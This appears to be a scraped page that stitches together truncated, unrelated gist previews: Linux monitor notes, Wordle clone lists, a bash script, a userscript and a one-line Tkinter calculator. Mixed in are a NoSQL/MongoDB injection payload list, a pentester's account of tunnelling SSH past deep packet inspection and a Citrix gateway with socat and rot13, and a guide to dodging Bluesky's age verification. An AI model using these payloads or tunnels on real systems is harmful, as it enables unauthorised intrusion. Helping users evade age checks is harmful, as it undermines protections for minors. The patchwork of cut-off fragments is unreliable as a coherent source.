David theddaywork

Bluesky's age assurance sucks, here's how to work around it.

Bluesky has implemented age verification measures in response to regional laws that restrict access, prompting users to verify their age through Epic Games' Kids Web Services before they can access adult content.

This sucks, but thankfully there are ways to work around it.

Before diving in: I encourage you to read this entire document, including the

preface: Posting these online since it sounds like these notes are somewhat interesting based on a few folks I've shared with. These are semi-rough notes that I basically wrote for myself in case I ever needed to revisit this fix, so keep that in mind.

I recently bought an LG ULTRAGEAR monitor secondhand off of a coworker. I really love it and it's been great so far, but I ran into some minor issues with it in Linux. It works great on both Mac and Windows, but on Linux it displays just a black panel until I use the second monitor to go in and reduce the refresh rate down to 60 Hz.

This has worked decent so far but there's some issues:

It doesn't work while linux is booting up. The motherboards boot sequence is visible just fine, but as soon as control is handed over to Linux and I'd normally see a splash screen while I'm waiting for my login window, I see nothing.
It doesn't work on the login screen. This would be fine if login consistently worked on my second screen, but I need to manually switch

Circumventing Deep Packet Inspection with Socat and rot13

I have a Linux virtual machine inside a customer's private network. For security, this VM is reachable only via VPN + Citrix + Windows + a Windows SSH client (eg PuTTY). I am tasked to ensure this Citrix design is secure, and users can not access their Linux VM's or other resources on the internal private network in any way outside of using Citrix.

The VM can access the internet. This task should be easy. The VM's internet gateway allows it to connect anywhere on the internet to TCP ports 80, 443, and 8090 only. Connecting to an internet bastion box on one of these ports works and I can send and receive clear text data using netcat. I plan to use good old SSH, listening on tcp/8090 on the bastion, with a reverse port forward configured to expose sshd on the VM to the public, to show their Citrix gateway can be circumvented.

Rejected by Deep Packet Inspection

I hit an immediate snag. The moment I try to establish an SSH or SSL connection over o

Wordle inspired games

Wordle - The original game.
Dordle - Two wordle games at once.
Quordle - Four wordle games at once.
Lewdle - Like wordle but with lewd words.
Sweardle - Swear word guessing game.
Nerdle - Like wordle but with equations.
Mathler - Find the hidden calculation that equals 128.
Primel - Guess the prime number in 6 tries.

Gist for https://www.youtube.com/watch?v=MTLgbp0GH8w

Documentation

Monitor and Restart Offline Agents

Steps from the video

mkdir -p $HOME/cronjobs/reconnect-agents

	// SPDX-License-Identifier: MIT AND CC-BY-4.0
	//
	// Derived from "6502-monitor.ino"
	// https://eater.net/downloads/6502-monitor.ino
	// Copyright (c) 2019 Ben Eater
	// Licensed under CC BY 4.0
	// https://creativecommons.org/licenses/by/4.0/
	//
	// Modifications:
	// - Switched to direct port manipulation.

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	$nin
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	' && this.passwordzz.match(/.*/)//+%00
	' \|\| 'a'=='a
	' } ], $comment:'successful MongoDB injection'
	'%20%26%26%20this.password.match(/.*/)//+%00
	'%20%26%26%20this.passwordzz.match(/.*/)//+%00

	#!/usr/bin/env bash
	HELP="Usage: $0 [-n LINES] [-p PREFIX] [-w] [-h]

	Continuously displays the last '-n' lines of 'stdin'.

	Parameters:
	-n Number of lines to display (default: 5).
	-p PREFIX Prefix lines with 'PREFIX'.
	-w Preserve blank lines (default: false).
	-h Display this help

	// ==UserScript==
	// @name Prevent link mangling on Google
	// @namespace LordBusiness.LMG
	// @match https://www.google.com/search
	// @grant none
	// @version 1.1
	// @author radiantly
	// @description Prevent google from mangling the link when copying or clicking the link on Firefox
	// ==/UserScript==

	# A Tkinter calculator in a single Python expression
	# See https://www.reddit.com/r/Python/comments/ojab0n/i_see_your_17_loc_calculator_and_i_raise_you_a/
	(tk := __import__("tkinter")) and (bt_draw := lambda k, c, l: (bt := tk.Button(w, text=k, command=lambda: bt_press(k), width=6)) and bt.grid(column=c, row=l)) and (update := lambda t: d.config(text=t)) and (bt_press := lambda k: update("") if k == "C" else update(d["text"][:-1]) if k == "<" else update(str(round(eval(d["text"]), 6))) if k == "=" else update(d["text"] + k)) and (w := tk.Tk()) and w.title("TKalc") or (d := tk.Label(w, text="")) and d.grid(column=0, row=0, columnspan=5) or [bt_draw(k, n%4 + 1, n//4 + 1) for n, k in enumerate("()C<789/456*123-.0=+")] and w.mainloop()